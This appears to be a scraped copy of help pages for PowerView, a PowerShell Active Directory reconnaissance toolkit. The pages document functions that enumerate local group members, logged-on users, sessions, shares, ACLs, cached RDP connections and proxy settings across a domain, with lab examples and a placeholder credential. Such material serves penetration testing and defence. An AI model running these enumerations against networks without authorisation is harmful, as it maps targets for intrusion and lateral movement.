Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf

## SYNTAX

`
Get-NetComputerSiteName [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will use the DsGetSiteName Win32API call to look up the
name of the site where a specified computer resides.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local
`

Returns the site for WINDOWS1.testlab.local.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainComputer | Get-NetComputerSiteName
`

Returns the sites for every machine in AD.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to check the site for (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ComputerSite

A PSCustomObject containing the ComputerName, IPAddress, and associated Site name.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-NetLocalGroup

## SYNOPSIS
Enumerates the local groups on the local (or remote) machine.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

`
Get-NetLocalGroup [[-ComputerName] <String[]>] [-Method <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will enumerate the names and descriptions for the
local groups on the current, or remote, machine.
By default, the Win32 API
call NetLocalGroupEnum will be used (for speed).
Specifying “-Method WinNT”
causes the WinNT service provider to be used instead, which returns group
SIDs along with the group names and descriptions/comments.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-NetLocalGroup
`

ComputerName                  GroupName                     Comment
————                  ———                     ——-
WINDOWS1                      Administrators                Administrators have comple…
WINDOWS1                      Backup Operators              Backup Operators can overr…
WINDOWS1                      Cryptographic Operators       Members are authorized to …
…

### ————————– EXAMPLE 2 ————————–
`
Get-NetLocalGroup -Method Winnt
`

ComputerName           GroupName              GroupSID              Comment
————           ———              ——–              ——-
WINDOWS1               Administrators         S-1-5-32-544          Administrators hav…
WINDOWS1               Backup Operators       S-1-5-32-551          Backup Operators c…
WINDOWS1               Cryptographic Opera…
S-1-5-32-569          Members are author…
…

### ————————– EXAMPLE 3 ————————–
`
Get-NetLocalGroup -ComputerName primary.testlab.local
`

ComputerName                  GroupName                     Comment
————                  ———                     ——-
primary.testlab.local         Administrators                Administrators have comple…
primary.testlab.local         Users                         Users are prevented from m…
primary.testlab.local         Guests                        Guests have the same acces…
primary.testlab.local         Print Operators               Members can administer dom…
primary.testlab.local         Backup Operators              Backup Operators can overr…

## PARAMETERS

### -ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to the localhost.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: $Env:COMPUTERNAME
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Method
The collection method to use, defaults to ‘API’, also accepts ‘WinNT’.

```yaml
Type: String
Parameter Sets: (All)
Aliases: CollectionMethod

Required: False
Position: Named
Default value: API
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to a remote machine.
Only applicable with “-Method WinNT”.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.LocalGroup.API

Custom PSObject with translated group property fields from API results.

PowerView.LocalGroup.WinNT

Custom PSObject with translated group property fields from WinNT results.

## NOTES

## RELATED LINKS

[https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx)



            

          

      

      

    

  

    
      
          
            
  # Get-NetLocalGroupMember

## SYNOPSIS
Enumerates members of a specific local group on the local (or remote) machine.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Convert-ADName

## SYNTAX

```
Get-NetLocalGroupMember [[-ComputerName] <String[]>] [-GroupName <String>] [-Method <String>]


[-Credential <PSCredential>]




```

## DESCRIPTION
This function will enumerate the members of a specified local group  on the
current, or remote, machine.
By default, the Win32 API call NetLocalGroupGetMembers
will be used (for speed).
Specifying “-Method WinNT” causes the WinNT service provider
to be used instead, which returns a larger amount of information.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-NetLocalGroupMember | ft
`

ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
————   ———      ———-     —                   ——-       ——–
WINDOWS1       Administrators WINDOWS1Ad…
S-1-5-21-25…
False          False
WINDOWS1       Administrators WINDOWS1lo…
S-1-5-21-25…
False          False
WINDOWS1       Administrators TESTLABDom…
S-1-5-21-89…
True           True
WINDOWS1       Administrators TESTLABhar…
S-1-5-21-89…
False           True

### ————————– EXAMPLE 2 ————————–
`
Get-NetLocalGroupMember -Method winnt | ft
`

ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
————   ———      ———-     —                   ——-       ——–
WINDOWS1       Administrators WINDOWS1Ad…
S-1-5-21-25…
False          False
WINDOWS1       Administrators WINDOWS1lo…
S-1-5-21-25…
False          False
WINDOWS1       Administrators TESTLABDom…
S-1-5-21-89…
True           True
WINDOWS1       Administrators TESTLABhar…
S-1-5-21-89…
False           True

### ————————– EXAMPLE 3 ————————–
`
Get-NetLocalGroup | Get-NetLocalGroupMember | ft
`

ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
————   ———      ———-     —                   ——-       ——–
WINDOWS1       Administrators WINDOWS1Ad…
S-1-5-21-25…
False          False
WINDOWS1       Administrators WINDOWS1lo…
S-1-5-21-25…
False          False
WINDOWS1       Administrators TESTLABDom…
S-1-5-21-89…
True           True
WINDOWS1       Administrators TESTLABhar…
S-1-5-21-89…
False           True
WINDOWS1       Guests         WINDOWS1Guest S-1-5-21-25…
False          False
WINDOWS1       IIS_IUSRS      NT AUTHORIT…
S-1-5-17                False          False
WINDOWS1       Users          NT AUTHORIT…
S-1-5-4                 False          False
WINDOWS1       Users          NT AUTHORIT…
S-1-5-11                False          False
WINDOWS1       Users          WINDOWS1lo…
S-1-5-21-25…
False        UNKNOWN
WINDOWS1       Users          TESTLABDom…
S-1-5-21-89…
True        UNKNOWN

### ————————– EXAMPLE 4 ————————–
`
Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft
`

ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
————   ———      ———-     —                   ——-       ——–
primary.tes…
Administrators TESTLABAdm…
S-1-5-21-89…
False          False
primary.tes…
Administrators TESTLABloc…
S-1-5-21-89…
False          False
primary.tes…
Administrators TESTLABEnt…
S-1-5-21-89…
True          False
primary.tes…
Administrators TESTLABDom…
S-1-5-21-89…
True          False

## PARAMETERS

### -ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to the localhost.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: $Env:COMPUTERNAME
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -GroupName
The local group name to query for users.
If not given, it defaults to “Administrators”.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Administrators
Accept pipeline input: True (ByPropertyName)
Accept wildcard characters: False
```

### -Method
The collection method to use, defaults to ‘API’, also accepts ‘WinNT’.

```yaml
Type: String
Parameter Sets: (All)
Aliases: CollectionMethod

Required: False
Position: Named
Default value: API
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to a remote machine.
Only applicable with “-Method WinNT”.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.LocalGroupMember.API

Custom PSObject with translated group property fields from API results.

PowerView.LocalGroupMember.WinNT

Custom PSObject with translated group property fields from WinNT results.

## NOTES

## RELATED LINKS

[http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx](http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx)



            

          

      

      

    

  

    
      
          
            
  # Get-NetLoggedon

## SYNOPSIS
Returns users logged on the local (or a remote) machine.
Note: administrative rights needed for newer Windows OSes.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf

## SYNTAX

`
Get-NetLoggedon [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will execute the NetWkstaUserEnum Win32API call to query
a given host for actively logged on users.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-NetLoggedon
`

Returns users actively logged onto the local host.

### ————————– EXAMPLE 2 ————————–
`
Get-NetLoggedon -ComputerName sqlserver
`

Returns users actively logged onto the ‘sqlserver’ host.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainComputer | Get-NetLoggedon
`

Returns all logged on users for all computers in the domain.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-NetLoggedon -ComputerName sqlserver -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for logged on users (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.LoggedOnUserInfo

A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added.

## NOTES

## RELATED LINKS

[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/)



            

          

      

      

    

  

    
      
          
            
  # Get-NetRDPSession

## SYNOPSIS
Returns remote desktop/session information for the local (or a remote) machine.

Note: only members of the Administrators or Account Operators local group
can successfully execute this functionality on a remote target.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf

## SYNTAX

`
Get-NetRDPSession [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation
Win32API calls to query a given RDP remote service for active sessions and originating
IPs.
This is a replacement for qwinsta.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-NetRDPSession
`

Returns active RDP/terminal sessions on the local host.

### ————————– EXAMPLE 2 ————————–
`
Get-NetRDPSession -ComputerName "sqlserver"
`

Returns active RDP/terminal sessions on the ‘sqlserver’ host.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainController | Get-NetRDPSession
`

Returns active RDP/terminal sessions on all domain controllers.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-NetRDPSession -ComputerName sqlserver -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for active sessions (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.RDPSessionInfo

A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure,
with the ComputerName added.

## NOTES

## RELATED LINKS

[https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx)



            

          

      

      

    

  

    
      
          
            
  # Get-NetSession

## SYNOPSIS
Returns session information for the local (or a remote) machine.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf

## SYNTAX

`
Get-NetSession [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will execute the NetSessionEnum Win32API call to query
a given host for active sessions.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-NetSession
`

Returns active sessions on the local host.

### ————————– EXAMPLE 2 ————————–
`
Get-NetSession -ComputerName sqlserver
`

Returns active sessions on the ‘sqlserver’ host.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainController | Get-NetSession
`

Returns active sessions on all domain controllers.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-NetSession -ComputerName sqlserver -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.SessionInfo

A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
the CName/UserName/Time/IdleTime for each session, with the ComputerName added.

## NOTES

## RELATED LINKS

[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/)



            

          

      

      

    

  

    
      
          
            
  # Get-NetShare

## SYNOPSIS
Returns open shares on the local (or a remote) machine.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf

## SYNTAX

`
Get-NetShare [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will execute the NetShareEnum Win32API call to query
a given host for open shares.
This is a replacement for “net share \\hostname”.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-NetShare
`

Returns active shares on the local host.

### ————————– EXAMPLE 2 ————————–
`
Get-NetShare -ComputerName sqlserver
`

Returns active shares on the ‘sqlserver’ host

### ————————– EXAMPLE 3 ————————–
`
Get-DomainComputer | Get-NetShare
`

Returns all shares for all computers in the domain.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-NetShare -ComputerName sqlserver -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for shares (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ShareInfo

A PSCustomObject representing a SHARE_INFO_1 structure, including
the name/type/remark for each share, with the ComputerName added.

## NOTES

## RELATED LINKS

[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/)



            

          

      

      

    

  

    
      
          
            
  # Get-PathAcl

## SYNOPSIS
Enumerates the ACL for a given file path.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID

## SYNTAX

`
Get-PathAcl [-Path] <String[]> [[-Credential] <PSCredential>]
`

## DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates
the access rules for each entry into readable formats.
If -Credential is passed,
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-PathAcl "\\SERVER\Share\"
`

Returns ACLs for the given UNC share.

### ————————– EXAMPLE 2 ————————–
`
gci .\test.txt | Get-PathAcl
`

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm’, $SecPassword)
Get-PathAcl -Path “\\SERVERShare" -Credential $Cred

## PARAMETERS

### -Path
Specifies the local or remote path to enumerate the ACLs for.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: FullName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target path.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### String

One of more paths to enumerate ACLs for.

## OUTPUTS

### PowerView.FileACL

A custom object with the full path and associated ACL entries.

## NOTES

## RELATED LINKS

[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144)



            

          

      

      

    

  

    
      
          
            
  # Get-RegLoggedOn

## SYNOPSIS
Returns who is logged onto the local (or a remote) machine
through enumeration of remote registry keys.

Note: This function requires only domain user rights on the
machine you’re enumerating, but remote registry must be enabled.

Author: Matt Kelly (@BreakersAll)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID

## SYNTAX

`
Get-RegLoggedOn [[-ComputerName] <String[]>]
`

## DESCRIPTION
This function will query the HKU registry values to retrieve the local
logged on users SID and then attempt and reverse it.
Adapted technique from Sysinternal’s PSLoggedOn script.
Benefit over
using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
required (NetWkstaUserEnum requires remote admin access).

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-RegLoggedOn
`

Returns users actively logged onto the local host.

### ————————– EXAMPLE 2 ————————–
`
Get-RegLoggedOn -ComputerName sqlserver
`

Returns users actively logged onto the ‘sqlserver’ host.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainController | Get-RegLoggedOn
`

Returns users actively logged on all domain controllers.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.RegLoggedOnUser

A PSCustomObject including the UserDomain/UserName/UserSID of each
actively logged on user, with the ComputerName added.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-WMIProcess

## SYNOPSIS
Returns a list of processes and their owners on the local or remote machine.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-WMIProcess [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
including the owners of the particular process.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-WMIProcess -ComputerName WINDOWS1
`

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.UserProcess

A PSCustomObject containing the remote process information.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-WMIRegCachedRDPConnection

## SYNOPSIS
Returns information about RDP connections outgoing from the local (or remote) machine.

Note: This function requires administrative rights on the machine you’re enumerating.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID

## SYNTAX

`
Get-WMIRegCachedRDPConnection [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
Uses remote registry functionality to query all entries for the
“Windows Remote Desktop Connection Client” on a machine, separated by
user and target server.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-WMIRegCachedRDPConnection
`

Returns the RDP connection client information for the local machine.

### ————————– EXAMPLE 2 ————————–
`
Get-WMIRegCachedRDPConnection  -ComputerName WINDOWS2.testlab.local
`

Returns the RDP connection client information for the WINDOWS2.testlab.local machine

### ————————– EXAMPLE 3 ————————–
`
Get-DomainComputer | Get-WMIRegCachedRDPConnection
`

Returns cached RDP information for all machines in the domain.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.CachedRDPConnection

A PSCustomObject containing the ComputerName and cached RDP information.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-WMIRegLastLoggedOn

## SYNOPSIS
Returns the last user who logged onto the local (or a remote) machine.

Note: This function requires administrative rights on the machine you’re enumerating.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-WMIRegLastLoggedOn [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function uses remote registry to enumerate the LastLoggedOnUser registry key
for the local (or remote) machine.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-WMIRegLastLoggedOn
`

Returns the last user logged onto the local machine.

### ————————– EXAMPLE 2 ————————–
`
Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
`

Returns the last user logged onto WINDOWS1

### ————————– EXAMPLE 3 ————————–
`
Get-DomainComputer | Get-WMIRegLastLoggedOn
`

Returns the last user logged onto all machines in the domain.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.LastLoggedOnUser

A PSCustomObject containing the ComputerName and last loggedon user.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-WMIRegMountedDrive

## SYNOPSIS
Returns information about saved network mounted drives for the local (or remote) machine.

Note: This function requires administrative rights on the machine you’re enumerating.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID

## SYNTAX

`
Get-WMIRegMountedDrive [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
Uses remote registry functionality to enumerate recently mounted network drives.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-WMIRegMountedDrive
`

Returns the saved network mounted drives for the local machine.

### ————————– EXAMPLE 2 ————————–
`
Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
`

Returns the saved network mounted drives for the WINDOWS2.testlab.local machine

### ————————– EXAMPLE 3 ————————–
`
Get-DomainComputer | Get-WMIRegMountedDrive
`

Returns the saved network mounted drives for all machines in the domain.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to query for mounted drive information (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.RegMountedDrive

A PSCustomObject containing the ComputerName and mounted drive information.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-WMIRegProxy

## SYNOPSIS
Enumerates the proxy server and WPAD conents for the current user.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-WMIRegProxy [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
Enumerates the proxy server and WPAD specification for the current user
on the local machine (default), or a machine specified with -ComputerName.
It does this by enumerating settings from
HKU:SOFTWAREMicrosoftWindowsCurrentVersionInternet Settings.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-WMIRegProxy
`

ComputerName           ProxyServer            AutoConfigURL         Wpad
————           ———–            ————-         —-
WINDOWS1               http://primary.test…

### ————————– EXAMPLE 2 ————————–
`
$Cred = Get-Credential "TESTLAB\administrator"
`

Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local

